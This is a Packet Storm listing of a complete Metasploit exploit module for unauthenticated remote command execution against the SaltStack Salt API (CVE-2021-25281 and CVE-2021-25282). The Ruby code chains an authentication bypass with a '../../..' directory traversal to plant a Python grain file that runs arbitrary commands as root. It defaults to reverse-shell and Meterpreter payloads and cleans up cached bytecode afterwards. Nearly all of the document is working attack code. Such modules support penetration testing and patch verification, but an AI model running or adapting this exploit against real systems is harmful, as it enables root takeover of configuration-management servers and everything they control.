Lucene search

K
packetstormChristophe de la FuentePACKETSTORM:162058
HistoryApr 01, 2021 - 12:00 a.m.

SaltStack Salt API Unauthenticated Remote Command Execution

2021-04-0100:00:00
Christophe de la Fuente
packetstormsecurity.com
487
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'SaltStack Salt API Unauthenticated RCE through wheel_async client',  
'Description' => %q{  
This module leverages an authentication bypass and directory  
traversal vulnerabilities in Saltstack Salt's REST API to execute  
commands remotely on the `master` as the root user.  
  
Every 60 seconds, `salt-master` service performs a maintenance  
process check that reloads and executes all the `grains` on the  
`master`, including custom grain modules in the Extension Module  
directory. So, this module simply creates a Python script at this  
location and waits for it to be executed. The time interval is set to  
60 seconds by default but can be changed in the `master`  
configuration file with the `loop_interval` option. Note that, if an  
administrator executes commands locally on the `master`, the  
maintenance process check will also be performed.  
  
It has been fixed in the following installation packages: 3002.5,  
3001.6 and 3000.8.  
  
Also, a patch is available for the following versions: 3002.2,  
3001.4, 3000.6, 2019.2.8, 2019.2.5, 2018.3.5, 2017.7.8, 2016.11.10,  
2016.11.6, 2016.11.5, 2016.11.3, 2016.3.8, 2016.3.6, 2016.3.4,  
2015.8.13 and 2015.8.10.  
  
This module has been tested successfully against versions 3001.4,  
3002 and 3002.2 on Ubuntu 18.04.  
},  
'Author' => [  
'Alex Seymour', # Original PoC  
'Christophe De La Fuente' # MSF Module  
],  
'References' => [  
['CVE', '2021-25281'], # Auth bypass  
['CVE', '2021-25282'], # Directory traversal  
['URL', 'https://saltproject.io/security_announcements/active-saltstack-cve-release-2021-feb-25/'],  
['URL', 'https://github.com/Immersive-Labs-Sec/CVE-2021-25281/blob/main/cve-2021-25281.py']  
],  
'DisclosureDate' => '2021-02-25',  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => true,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper,  
'DefaultOptions' => {  
'CMDSTAGER::FLAVOR' => :bourne,  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 1,  
'DefaultOptions' => {  
'WfsDelay' => 90, # The master's maintenance process check cycle is set to 60 sec. by default  
'SSL' => true # Salt API uses HTTPS by default  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS] # Payload visible in log if set to DEBUG or TRACE level  
}  
)  
)  
  
register_options([  
Opt::RPORT(8000),  
OptString.new('TARGETURI', [true, 'Base path', '/']),  
OptString.new(  
'EXTMODSDIR',  
[  
true,  
'The Extension Module Directory ("extmods")',  
'/var/cache/salt/master/extmods'  
]  
)  
])  
end  
  
def check  
fun = 'config.values'  
res = send_request(fun: fun)  
  
unless res  
return CheckCode::Unknown('Target did not respond to check.')  
end  
  
# Server: CherryPy/8.9.1  
unless res.headers['Server']&.match(%r{^CherryPy/[\d.]+$})  
return CheckCode::Unknown('Target does not appear to be running Salt API.')  
end  
  
if res.code == 200 && res.get_json_document['return']  
res_json = res.get_json_document['return'].first  
if res_json&.key?('tag') && res_json&.key?('jid')  
return CheckCode::Detected('Salt API responded as expected.')  
end  
end  
  
CheckCode::Safe('Unexpected Salt API response')  
end  
  
def exploit  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager(background: true)  
end  
end  
  
def execute_command(cmd, _opts = {})  
vprint_status("Executing command: #{cmd}")  
  
@rand_basename = rand_text_alphanumeric(4..12)  
path = normalize_uri(datastore['EXTMODSDIR'], 'grains', "#{@rand_basename}.py")  
register_file_for_cleanup(path)  
  
cmd.gsub!("'", "\\\\'")  
data = <<~PYTHON  
import subprocess  
def #{rand_text_alpha(6..8)}():  
subprocess.Popen('#{cmd}', shell=True)  
return {}  
PYTHON  
  
send_request(data: data, path: path)  
vprint_status(  
"Waiting up to #{wfs_delay} seconds for the Salt maintenance process check "\  
'to trigger the payload (WfsDelay option).'  
)  
end  
  
def send_request(fun: 'pillar_roots.write', data: '', path: '')  
# https://docs.saltstack.com/en/latest/ref/netapi/all/salt.netapi.rest_cherrypy.html#post--run  
json = {  
'eauth' => 'auto',  
'client' => 'wheel_async',  
'fun' => fun  
}  
json['data'] = data unless data.empty?  
json['path'] = "../../../../../..#{path}" unless path.empty?  
  
send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'run'),  
'ctype' => 'application/json',  
'data' => json.to_json  
)  
end  
  
def path_exists?(session, path, is_dir: false)  
if session.type == 'meterpreter'  
path_exists = begin  
session.fs.file.stat(path)  
rescue StandardError  
nil  
end  
if is_dir  
return !!(path_exists && path_exists.directory?)  
else  
return !!(path_exists && path_exists.file?)  
end  
else  
path_exists = session.shell_command_token(  
"test #{is_dir ? '-d' : '-f'} \"#{path}\" && echo true"  
)  
return !!(path_exists && path_exists =~ /true/)  
end  
end  
  
def on_new_session(session)  
payload_instance.stop_handler  
super  
  
# The Python script is being cached in the "__pycache__" directory as a  
# compiled bytecode file (.pyc). This will need to be deleted to avoid  
# being executed over and over.  
path = normalize_uri(datastore['EXTMODSDIR'], 'grains', '__pycache__')  
if session.type == 'meterpreter'  
session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')  
return unless path_exists?(session, path, is_dir: true)  
  
files = begin  
session.fs.dir.entries(path, "#{@rand_basename}*.pyc")  
rescue StandardError  
[]  
end  
  
files.each do |file|  
file_path = normalize_uri(path, file)  
next unless path_exists?(session, file_path)  
  
session.fs.file.rm(file_path)  
  
if path_exists?(session, file_path)  
print_warning("Unable to delete #{file_path}")  
else  
print_good("Deleted #{file_path}")  
end  
end  
else  
return unless path_exists?(session, path, is_dir: true)  
  
files = session.shell_command_token(  
"find \"#{path}\" -maxdepth 1 -type f -name \"#{@rand_basename}*.pyc\""  
)  
  
files.each_line do |file|  
file.chomp!  
next unless path_exists?(session, file)  
  
session.shell_command_token("rm -f \"#{file}\" >/dev/null")  
  
if path_exists?(session, file)  
print_warning("Unable to delete #{file}")  
else  
print_good("Deleted #{file}")  
end  
end  
end  
end  
  
end  
`
Related for PACKETSTORM:162058